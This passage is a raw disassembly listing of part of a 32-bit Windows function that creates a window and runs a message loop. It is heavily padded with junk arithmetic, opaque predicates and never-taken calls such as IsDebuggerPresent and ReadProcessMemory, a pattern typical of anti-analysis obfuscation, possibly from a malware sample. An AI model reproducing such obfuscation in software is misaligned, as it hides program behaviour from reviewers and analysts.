call dword [sym.imp.USER32.dll_GetMenuStringW]
jmp 0x483c8d
mov dword [ebp - 0x15e0], 0xffffffff
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x15e0], eax
mov eax, dword [ebp - 0x15e0]
mov dword [ebp - 0x5c4], eax
lea ecx, [ebp - 0x2ff0]
call fcn.0043370a
jmp 0x483b6a
mov dword [ebp - 0x2ba4], 0x33037736
push 2
lea ecx, [ebp - 0x247c]
call fcn.00433638
mov dword [ebp - 0x498], 0xfffc
mov dword [ebp - 0x3960], 0x289fff12
mov dword [ebp - 0x3968], 0x8664a11
mov dword [ebp - 0x2b30], 5
mov dword [ebp - 0x3970], 0xa7f4ea14
mov dword [ebp - 0x1608], 0xd77cccae
mov dword [ebp - 0x2a40], 0x4f9a0237
push 4
lea ecx, [ebp - 0x30c8]
call fcn.00433638
mov dword [ebp - 0x148], 0
jmp 0x483d20
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 2
jge 0x483d3f
push dword [ebp - 0x148]
lea ecx, [ebp - 0x247c]
call fcn.00433726
and dword [eax], 0
jmp 0x483d13
mov dword [ebp - 0x148], 0
jmp 0x483d58
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 4
jge 0x483d7a
push dword [ebp - 0x148]
lea ecx, [ebp - 0x30c8]
call fcn.00433726
mov dword [eax], 1
jmp 0x483d4b
push 1
lea ecx, [ebp - 0x247c]
call fcn.00433726
push 1
lea ecx, [ebp - 0x247c]
call fcn.00433726
cmp dword [eax], 0
je 0x483df1
push 1
lea ecx, [ebp - 0x247c]
call fcn.00433726
mov esi, eax
push 1
lea ecx, [ebp - 0x247c]
call fcn.00433726
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x483dc7
mov dword [ebp - 0x15e8], 1
jmp 0x483dce
and dword [ebp - 0x15e8], 0
push 0
lea ecx, [ebp - 0x247c]
call fcn.00433726
mov eax, dword [eax]
cmp eax, dword [ebp - 0x15e8]
jl 0x483df1
mov dword [ebp - 0x15f0], 1
jmp 0x483df8
and dword [ebp - 0x15f0], 0
mov eax, dword [ebp - 0x15f0]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x498], 0
jmp 0x483e1d
cmp dword [ebp - 0x498], 0x20
jne 0x483f80
mov dword [ebp - 0x490], 0x12df3d37
mov dword [ebp - 0x2880], 0xfffffff9
mov dword [ebp - 0x3978], 0x7a5eafb5
mov dword [ebp - 0x3980], 0x4e2bf5f4
mov dword [ebp - 0x3988], 8
mov dword [ebp - 0x490], 0
jmp 0x483e75
cmp dword [ebp - 0x490], 1
jg 0x483e9a
mov byte [ebp - 0x416], 0
movzx eax, byte [ebp - 0x416]
test eax, eax
je 0x483e98
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
jmp 0x483e68
push 1
lea ecx, [ebp - 0x247c]
call fcn.00433726
cmp dword [ebp - 0x490], 0
je 0x483eeb
push 1
lea ecx, [ebp - 0x30c8]
call fcn.00433726
mov dword [ebp - 0xab8], eax
mov eax, dword [ebp - 0xab8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xab8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xab8]
cmp dword [eax], 0
jne 0x483eeb
and dword [ebp - 0x15f8], 0
cmp dword [ebp - 0x2a40], 0x6ebbfad0
jge 0x483f0a
lea ecx, [ebp - 0x30c8]
call fcn.0043370a
lea ecx, [ebp - 0x247c]
call fcn.0043370a
push 2
lea ecx, [ebp - 0x3794]
call fcn.00433638
mov dword [ebp - 0x820], 0xffffffff
mov dword [ebp - 0x818], 0
jmp 0x483fc6
mov eax, dword [ebp - 0x818]
inc eax
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 2
jge 0x483fe8
push dword [ebp - 0x818]
lea ecx, [ebp - 0x3794]
call fcn.00433726
mov dword [eax], 0x5b57
jmp 0x483fb9
mov dword [ebp - 0x820], 0
jmp 0x484001
cmp dword [ebp - 0x820], 1
jg 0x484028
xor ecx, ecx
call fcn.004339a3
push eax
call fcn.0048dc13
pop ecx
mov dword [ebp - 0x604], 1
mov dword [ebp - 0x968], 0
jmp 0x489646
mov eax, dword [ebp - 0x968]
inc eax
mov dword [ebp - 0x968], eax
cmp dword [ebp - 0x968], 3
jge 0x489662
mov eax, dword [ebp - 0x968]
mov dword [ebp + eax*4 - 0x3a2c], 0x76038591
jmp 0x489639
mov dword [ebp - 0x604], 0
jmp 0x48967b
mov eax, dword [ebp - 0x604]
dec eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 0xffffffe2
jge 0x4897ed
mov dword [ebp - 0x4f0], 0x22124f84
mov dword [ebp - 0x11e4], 0xa9b64fda
push 3
lea ecx, [ebp - 0x3194]
call fcn.00433638
mov dword [ebp - 0x970], 0
jmp 0x4896c2
mov eax, dword [ebp - 0x970]
inc eax
mov dword [ebp - 0x970], eax
cmp dword [ebp - 0x970], 3
jge 0x4896e4
push dword [ebp - 0x970]
lea ecx, [ebp - 0x3194]
call fcn.00433726
mov dword [eax], 4
jmp 0x4896b5
mov dword [ebp - 0x4f0], 0
jmp 0x4896fd
mov eax, dword [ebp - 0x4f0]
dec eax
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 0xfffffffa
jl 0x4897dd
mov dword [ebp - 0x2734], 7
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3a2c], 0x88eb
mov dword [ebp - 0x11e4], 0x88eb
mov eax, dword [ebp - 0x2734]
sub eax, dword [ebp - 0x11e4]
cmp dword [ebp - 0x604], eax
jne 0x48974f
mov dword [ebp - 0x11f4], 1
jmp 0x489756
and dword [ebp - 0x11f4], 0
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0x3914], eax
mov eax, 0x158018d9
cmp eax, 0xf6b3e713
je 0x48977a
mov dword [ebp - 0x11ec], 1
jmp 0x489781
and dword [ebp - 0x11ec], 0
mov eax, dword [ebp - 0x4f0]
cmp eax, dword [ebp - 0x11ec]
jne 0x48979b
mov dword [ebp - 0x11fc], 1
jmp 0x4897a2
and dword [ebp - 0x11fc], 0
mov eax, dword [ebp - 0x11f4]
cmp eax, dword [ebp - 0x11fc]
jge 0x4897bc
mov dword [ebp - 0x1204], 1
jmp 0x4897c3
and dword [ebp - 0x1204], 0
push 0
lea ecx, [ebp - 0x3194]
call fcn.00433726
mov ecx, dword [ebp - 0x1204]
mov dword [eax], ecx
jmp 0x4896f0
lea ecx, [ebp - 0x3194]
call fcn.0043370a
jmp 0x48966e
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xaa513c
push 0xaa513c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xb90], eax
mov dword [ebp - 0x1b8], 6
mov dword [ebp - 0x408], 0x73948b08
mov dword [ebp - 0x988], 0
push 1
lea ecx, [ebp - 0x30a4]
call fcn.00433638
mov dword [ebp - 0x978], 0
jmp 0x489864
mov eax, dword [ebp - 0x978]
inc eax
mov dword [ebp - 0x978], eax
cmp dword [ebp - 0x978], 1
jge 0x489886
push dword [ebp - 0x978]
lea ecx, [ebp - 0x30a4]
call fcn.00433726
mov dword [eax], 5
jmp 0x489857
mov dword [ebp - 0x1b8], 0xfffffffe
jmp 0x48989f
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x1c
jne 0x489a22
mov dword [ebp - 0xb70], 0x29bf39
mov dword [ebp - 0x60c], 4
mov dword [ebp - 0x2744], 9
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0xb70], eax
cmp dword [ebp - 0xb70], 0
je 0x4899b7
mov dword [ebp - 0x980], 0xffffffff
mov dword [ebp - 0x120c], 1
mov eax, 0xfdc8
test eax, eax
je 0x489921
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x120c], eax
cmp dword [ebp - 0x120c], 0
je 0x489921
mov dword [ebp - 0x1214], 1
jmp 0x489928
and dword [ebp - 0x1214], 0
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x408], eax
mov eax, dword [ebp - 0x980]
sub eax, dword [ebp - 0x1214]
cmp dword [ebp - 0x408], eax
je 0x489954
mov dword [ebp - 0x121c], 1
jmp 0x48995b
and dword [ebp - 0x121c], 0
mov eax, dword [ebp - 0xb70]
cmp eax, dword [ebp - 0x121c]
jg 0x489975
mov dword [ebp - 0x273c], 1
jmp 0x48997c
and dword [ebp - 0x273c], 0
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x340c], eax
mov eax, dword [ebp - 0x988]
cmp dword [ebp - 0x980], eax
jle 0x4899a2
mov dword [ebp - 0x1224], 1
jmp 0x4899a9
and dword [ebp - 0x1224], 0
mov eax, dword [ebp - 0x1224]
mov dword [ebp - 0x2744], eax
jmp 0x489a1d
mov dword [ebp - 0x60c], 2
jmp 0x4899d0
mov eax, dword [ebp - 0x60c]
dec eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 0xfffffff8
je 0x489a1d
mov dword [ebp - 0x408], 0
jmp 0x4899f2
mov eax, dword [ebp - 0x408]
dec eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jl 0x489a1b
mov byte [ebp - 0x3a1], 0
movzx eax, byte [ebp - 0x3a1]
test eax, eax
je 0x489a19
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
jmp 0x4899e5
jmp 0x4899c3
jmp 0x489892
mov dword [ebp - 0x1b8], 0
jmp 0x489a3b
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
jg 0x489c92
push 2
lea ecx, [ebp - 0x2cd0]
call fcn.00433638
push 2
lea ecx, [ebp - 0x2cb8]
call fcn.00433638
mov dword [ebp - 0x123c], 0xf793
mov dword [ebp - 0x1c0], 0
jmp 0x489a85
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 2
jge 0x489aa7
push dword [ebp - 0x1c0]
lea ecx, [ebp - 0x2cd0]
call fcn.00433726
mov dword [eax], 0xfffffff6
jmp 0x489a78
mov dword [ebp - 0x1c0], 0
jmp 0x489ac0
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 2
jge 0x489ae2
push dword [ebp - 0x1c0]
lea ecx, [ebp - 0x2cb8]
call fcn.00433726
mov dword [eax], 0x72920796
jmp 0x489ab3
push 1
lea ecx, [ebp - 0x2cd0]
call fcn.00433726
mov ecx, dword [ebp - 0x988]
cmp dword [eax], ecx
jg 0x489b05
mov dword [ebp - 0x122c], 1
jmp 0x489b0c
and dword [ebp - 0x122c], 0
push 1
lea ecx, [ebp - 0x2cb8]
call fcn.00433726
mov ecx, dword [ebp - 0x122c]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x2cd0]
call fcn.00433726
cmp dword [eax], 0
je 0x489c5f
mov dword [ebp - 0x124c], 0
mov eax, dword [ebp - 0x123c]
mov dword [ebp - 0x3690], eax
xor eax, eax
inc eax
je 0x489b67
cmp dword [ebp - 0x124c], 0
je 0x489b67
mov dword [ebp - 0x1234], 1
jmp 0x489b6e
and dword [ebp - 0x1234], 0
cmp dword [ebp - 0x1234], 0xffffffff
jb 0x489b83
mov dword [ebp - 0x1244], 1
jmp 0x489b8a
and dword [ebp - 0x1244], 0
mov eax, dword [ebp - 0x123c]
imul eax, dword [ebp - 0x1244]
inc eax
cmp dword [ebp - 0x124c], eax
jl 0x489bb0
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x489bb0
and dword [ebp - 0x1254], 0
jmp 0x489bba
mov dword [ebp - 0x1254], 1
mov eax, dword [ebp - 0x988]
cmp dword [ebp - 0x1254], eax
je 0x489bd4
mov dword [ebp - 0x125c], 1
jmp 0x489bdb
and dword [ebp - 0x125c], 0
imul esi, dword [ebp - 0x125c], 0xfffffff6
push 0
lea ecx, [ebp - 0x30a4]
call fcn.00433726
cmp esi, dword [eax]
jne 0x489bff
mov dword [ebp - 0x1264], 1
jmp 0x489c06
and dword [ebp - 0x1264], 0
push 1
lea ecx, [ebp - 0x2cb8]
call fcn.00433726
mov ecx, dword [ebp - 0x1264]
cmp ecx, dword [eax]
jg 0x489c29
mov dword [ebp - 0x126c], 1
jmp 0x489c30
and dword [ebp - 0x126c], 0
mov eax, dword [ebp - 0x988]
cmp dword [ebp - 0x126c], eax
je 0x489c4a
mov dword [ebp - 0x1274], 1
jmp 0x489c51
and dword [ebp - 0x1274], 0
mov eax, dword [ebp - 0x1274]
mov dword [ebp - 0x408], eax
jmp 0x489c77
mov byte [ebp - 0x42b], 0
movzx eax, byte [ebp - 0x42b]
test eax, eax
je 0x489c77
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
lea ecx, [ebp - 0x2cb8]
call fcn.0043370a
lea ecx, [ebp - 0x2cd0]
call fcn.0043370a
jmp 0x489a2e
lea ecx, [ebp - 0x30a4]
call fcn.0043370a
push 5
push dword [ebp - 0xb90]
call dword [sym.imp.USER32.dll_ShowWindow]
push 3
lea ecx, [ebp - 0x2540]
call fcn.00433638
mov dword [ebp - 0x3414], 0xedad94e8
mov dword [ebp - 0x3890], 0xace4b0ad
mov dword [ebp - 0x341c], 0x34bdac84
mov dword [ebp - 0x36a0], 0x6753f3ac
mov dword [ebp - 0x3424], 0xf2ef51ae
mov dword [ebp - 0x12bc], 0x30498d20
mov dword [ebp - 0x39a4], 0x34aafbeb
mov dword [ebp - 0xb78], 1
mov dword [ebp - 0x275c], 0x855c
mov dword [ebp - 0x2764], 1
mov dword [ebp - 0x24], 0
jmp 0x489d2c
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x489d48
push dword [ebp - 0x24]
lea ecx, [ebp - 0x2540]
call fcn.00433726
mov dword [eax], 0x6432
jmp 0x489d25
mov dword [ebp - 0x24], 0
jmp 0x489d58
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x489d6e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2de0], 0xfffffffa
jmp 0x489d51
mov dword [ebp - 0x24], 0
jmp 0x489d7e
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x489d94
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1294], 0x4c266d8f
jmp 0x489d77
mov dword [ebp - 0x24], 0
jmp 0x489da4
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x489dba
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3930], 1
jmp 0x489d9d
push 2
lea ecx, [ebp - 0x2540]
call fcn.00433726
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2de0], 1
jne 0x489de3
mov dword [ebp - 0x127c], 1
jmp 0x489dea
and dword [ebp - 0x127c], 0
push 2
lea ecx, [ebp - 0x2540]
call fcn.00433726
mov eax, dword [eax]
cmp eax, dword [ebp - 0x127c]
jne 0x489e0d
mov dword [ebp - 0x12c4], 1
jmp 0x489e14
and dword [ebp - 0x12c4], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1294], 0x26a0
je 0x489e33
mov dword [ebp - 0x1284], 1
jmp 0x489e3a
and dword [ebp - 0x1284], 0
mov eax, dword [ebp - 0xb78]
mov dword [ebp - 0x274c], eax
mov eax, dword [ebp - 0x1284]
mov dword [ebp - 0x2754], eax
mov eax, dword [ebp - 0xb78]
inc eax
mov dword [ebp - 0xb78], eax
mov eax, dword [ebp - 0x274c]
cmp eax, dword [ebp - 0x2754]
jne 0x489e79
mov dword [ebp - 0x128c], 1
jmp 0x489e80
and dword [ebp - 0x128c], 0
imul eax, dword [ebp - 0x128c], 0xf0ab
test eax, eax
jne 0x489e97
cmp dword [ebp - 0x275c], 0
je 0x489eb3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1294], 0
je 0x489eb3
mov dword [ebp - 0x129c], 1
jmp 0x489eba
and dword [ebp - 0x129c], 0
push 2
lea ecx, [ebp - 0x2540]
call fcn.00433726
mov ecx, dword [ebp - 0x129c]
cmp ecx, dword [eax]
jne 0x489edd
mov dword [ebp - 0x12a4], 1
jmp 0x489ee4
and dword [ebp - 0x12a4], 0
mov esi, dword [ebp - 0x12a4]
neg esi
push 2
lea ecx, [ebp - 0x2540]
call fcn.00433726
imul esi, dword [eax]
push 4
pop eax
imul eax, eax, 0
cmp esi, dword [ebp + eax - 0x2de0]
jg 0x489f17
mov dword [ebp - 0x12ac], 1
jmp 0x489f1e
and dword [ebp - 0x12ac], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3930]
imul eax, dword [ebp - 0x12ac]
test eax, eax
je 0x489f54
push 2
lea ecx, [ebp - 0x2540]
call fcn.00433726
cmp dword [eax], 0
je 0x489f54
mov dword [ebp - 0x12b4], 1
jmp 0x489f5b
and dword [ebp - 0x12b4], 0
mov eax, dword [ebp - 0x12b4]
mov dword [ebp - 0x12bc], eax
mov eax, dword [ebp - 0x12bc]
cmp dword [ebp - 0x12c4], eax
jne 0x489f81
mov dword [ebp - 0x12cc], 1
jmp 0x489f88
and dword [ebp - 0x12cc], 0
mov eax, dword [ebp - 0x12cc]
mov dword [ebp - 0x2764], eax
lea ecx, [ebp - 0x2540]
call fcn.0043370a
push dword [ebp - 0xb90]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 3
lea ecx, [ebp - 0x2ce8]
call fcn.00433638
mov dword [ebp - 0x1c8], 0xef20fe6e
mov dword [ebp - 0x990], 0
jmp 0x489fdb
mov eax, dword [ebp - 0x990]
inc eax
mov dword [ebp - 0x990], eax
cmp dword [ebp - 0x990], 3
jge 0x489ffd
push dword [ebp - 0x990]
lea ecx, [ebp - 0x2ce8]
call fcn.00433726
mov dword [eax], 1
jmp 0x489fce
mov dword [ebp - 0x1c8], 0
jmp 0x48a016
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 2
jg 0x48a059
mov dword [ebp - 0x276c], 4
mov dword [ebp - 0x276c], 1
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0x2ce8]
call fcn.00433726
mov esi, eax
push 1
lea ecx, [ebp - 0x2ce8]
call fcn.00433726
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x48a009
mov dword [ebp - 0x1c8], 0xfffffff6
jmp 0x48a072
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x11
jg 0x48a10d
mov dword [ebp - 0x342c], 0x4d63
push 1
lea ecx, [ebp - 0x3804]
call fcn.00433638
mov dword [ebp - 0x12d4], 0x7e71f09a
mov dword [ebp - 0x998], 0
jmp 0x48a0b9
mov eax, dword [ebp - 0x998]
inc eax
mov dword [ebp - 0x998], eax
cmp dword [ebp - 0x998], 1
jge 0x48a0d8
push dword [ebp - 0x998]
lea ecx, [ebp - 0x3804]
call fcn.00433726
and dword [eax], 0
jmp 0x48a0ac
mov eax, dword [ebp - 0x12d4]
inc eax
mov dword [ebp - 0x12d4], eax
mov byte [ebp - 0x3a9], 0
movzx eax, byte [ebp - 0x3a9]
test eax, eax
je 0x48a0fd
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
lea ecx, [ebp - 0x3804]
call fcn.0043370a
jmp 0x48a065
lea ecx, [ebp - 0x2ce8]
call fcn.0043370a
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x2774], eax
lea eax, [ebp - 0x2774]
push eax
push fcn.0046f983
lea ecx, [ebp - 0x2df8]
call fcn.0048bb6a
push 2
lea ecx, [ebp - 0xcf8]
call fcn.00433638
mov dword [ebp - 0x1d0], 0xf20fe6e3
mov dword [ebp - 0x12fc], 0xfffffff9
mov dword [ebp - 0x36b0], 0xf088
mov dword [ebp - 0x9a0], 0
jmp 0x48a17d
mov eax, dword [ebp - 0x9a0]
inc eax
mov dword [ebp - 0x9a0], eax
cmp dword [ebp - 0x9a0], 2
jge 0x48a19f
push dword [ebp - 0x9a0]
lea ecx, [ebp - 0xcf8]
call fcn.00433726
mov dword [eax], 0x1177e8ed
jmp 0x48a170
mov dword [ebp - 0x1d0], 0
jmp 0x48a1b8
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 1
jg 0x48a3de
mov dword [ebp - 0xb80], 0x3f9b
push 2
lea ecx, [ebp - 0x314c]
call fcn.00433638
mov dword [ebp - 0x2784], 0xc895
mov dword [ebp - 0x278c], 0x507af9ca
mov dword [ebp - 0x9a8], 0
jmp 0x48a209
mov eax, dword [ebp - 0x9a8]
inc eax
mov dword [ebp - 0x9a8], eax
cmp dword [ebp - 0x9a8], 2
jge 0x48a22b
push dword [ebp - 0x9a8]
lea ecx, [ebp - 0x314c]
call fcn.00433726
mov dword [eax], 0xfffffff8
jmp 0x48a1fc
xor eax, eax
jne 0x48a24e
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0xcf8]
call fcn.00433726
cmp dword [eax], 0
jne 0x48a24e
and dword [ebp - 0x12dc], 0
jmp 0x48a258
mov dword [ebp - 0x12dc], 1
push 0
lea ecx, [ebp - 0xcf8]
call fcn.00433726
mov esi, dword [ebp - 0x12dc]
sub esi, dword [eax]
add esi, 7
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0xcf8]
call fcn.00433726
cmp esi, dword [eax]
jge 0x48a291
mov dword [ebp - 0x277c], 1
jmp 0x48a298
and dword [ebp - 0x277c], 0
mov eax, dword [ebp - 0xb80]
mov dword [ebp - 0x3434], eax
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0xcf8]
call fcn.00433726
mov esi, eax
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0xcf8]
call fcn.00433726
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x48a2e9
push 0
lea ecx, [ebp - 0xcf8]
call fcn.00433726
cmp dword [eax], 0
jne 0x48a2e9
and dword [ebp - 0x12e4], 0
jmp 0x48a2f3
mov dword [ebp - 0x12e4], 1
mov eax, dword [ebp - 0xb80]
cmp dword [ebp - 0x12e4], eax
je 0x48a30d
mov dword [ebp - 0x12ec], 1
jmp 0x48a314
and dword [ebp - 0x12ec], 0
mov eax, dword [ebp - 0xb80]
cmp dword [ebp - 0x12ec], eax
jl 0x48a32e
mov dword [ebp - 0xb88], 1
jmp 0x48a335
and dword [ebp - 0xb88], 0
push 0
lea ecx, [ebp - 0x314c]
call fcn.00433726
mov ecx, dword [ebp - 0xb88]
mov dword [eax], ecx
cmp dword [ebp - 0xb88], 0
jne 0x48a36e
push 1
lea ecx, [ebp - 0xcf8]
call fcn.00433726
cmp dword [eax], 0
jne 0x48a36e
and dword [ebp - 0x12f4], 0
jmp 0x48a378
mov dword [ebp - 0x12f4], 1
mov eax, dword [ebp - 0x12f4]
mov dword [ebp - 0x2784], eax
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0xcf8]
call fcn.00433726
mov eax, dword [eax]
mov dword [ebp - 0x12fc], eax
mov eax, dword [ebp - 0x12fc]
mov dword [ebp - 0x278c], eax
mov byte [ebp - 0x42d], 0
movzx eax, byte [ebp - 0x42d]
test eax, eax
je 0x48a3ce
push 0
push 0x1e1e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [ebp - 0x314c]
call fcn.0043370a
jmp 0x48a1ab
lea ecx, [ebp - 0xcf8]
call fcn.0043370a
push 0
push 0
push 0
lea eax, [ebp - 0x3b20]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x48abec
push 0
push 0
push 0x10
push dword [ebp - 0xb90]
call dword [sym.imp.USER32.dll_SendMessageW]
push 4
lea ecx, [ebp - 0x31c4]
call fcn.00433638
mov dword [ebp - 0x2794], 0xffffffff
mov dword [ebp - 0x1d8], 0
jmp 0x48a446
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 4
jge 0x48a468
push dword [ebp - 0x1d8]
lea ecx, [ebp - 0x31c4]
call fcn.00433726
mov dword [eax], 1
jmp 0x48a439
mov dword [ebp - 0x1d8], 0
jmp 0x48a481
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 4
jge 0x48a49d
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x32c8], 0xfebaeef2
jmp 0x48a474
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x32c8], 0
jmp 0x48a4c8
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x32c8], 3
jg 0x48a7c3
mov dword [ebp - 0x9b0], 0xfffffffd
mov byte [ebp - 0x3b1], 0
movzx eax, byte [ebp - 0x3b1]
test eax, eax
je 0x48a508
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov dword [ebp - 0x9b0], 0
jmp 0x48a521
cmp dword [ebp - 0x9b0], 3
jg 0x48a7be
mov dword [ebp - 0x624], 1
push 4
lea ecx, [ebp - 0x30bc]
call fcn.00433638
mov dword [ebp - 0x9b8], 0
jmp 0x48a55e
jmp 0x48a4af
lea ecx, [ebp - 0x31c4]
call fcn.0043370a
lea ecx, [ebp - 0x2df8]
call fcn.0046c762
mov dword [ebp - 0x4f8], 0x76820624
mov dword [ebp - 0x1344], 0x90e69cd1
mov dword [ebp - 0x410], 0
push 3
lea ecx, [ebp - 0x30d4]
call fcn.00433638
mov dword [ebp - 0x9c8], 0
jmp 0x48a81d
mov eax, dword [ebp - 0x9c8]
inc eax
mov dword [ebp - 0x9c8], eax
cmp dword [ebp - 0x9c8], 3
jge 0x48a83f
push dword [ebp - 0x9c8]
lea ecx, [ebp - 0x30d4]
call fcn.00433726
mov dword [eax], 0xa6d983a5
jmp 0x48a810
mov dword [ebp - 0x4f8], 0xfffffffd
jmp 0x48a858
cmp dword [ebp - 0x4f8], 3
jg 0x48ab9f
mov dword [ebp - 0xb98], 0x4fd9e2a8
mov dword [ebp - 0x500], 0x8a527335
mov dword [ebp - 0x9d8], 0
jmp 0x48ac19
mov eax, dword [ebp - 0x9d8]
inc eax
mov dword [ebp - 0x9d8], eax
cmp dword [ebp - 0x9d8], 2
jge 0x48ac35
mov eax, dword [ebp - 0x9d8]
mov dword [ebp + eax*4 - 0x2318], 0x39beb064
jmp 0x48ac0c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2318], 0
jne 0x48ac51
mov dword [ebp - 0x1374], 1
jmp 0x48ac58
and dword [ebp - 0x1374], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2318]
add eax, dword [ebp - 0x1374]
je 0x48ac9e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2318]
sub eax, dword [ebp - 0xb98]
mov dword [ebp - 0xb98], eax
cmp dword [ebp - 0xb98], 0x444
jne 0x48ac9e
mov dword [ebp - 0x137c], 1
jmp 0x48aca5
and dword [ebp - 0x137c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2318]
cmp eax, dword [ebp - 0x137c]
jle 0x48acc6
mov dword [ebp - 0x1384], 1
jmp 0x48accd
and dword [ebp - 0x1384], 0
mov eax, dword [ebp - 0x1384]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x500], 0
jmp 0x48acf2
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 2
jge 0x48ad0e
mov eax, dword [ebp - 0x500]
mov dword [ebp + eax*4 - 0x2318], 5
jmp 0x48ace5
lea ecx, [ebp - 0x2df8]
call fcn.0046c757
jmp 0x48b894
pop edi
pop esi
mov esp, ebp
pop ebp
ret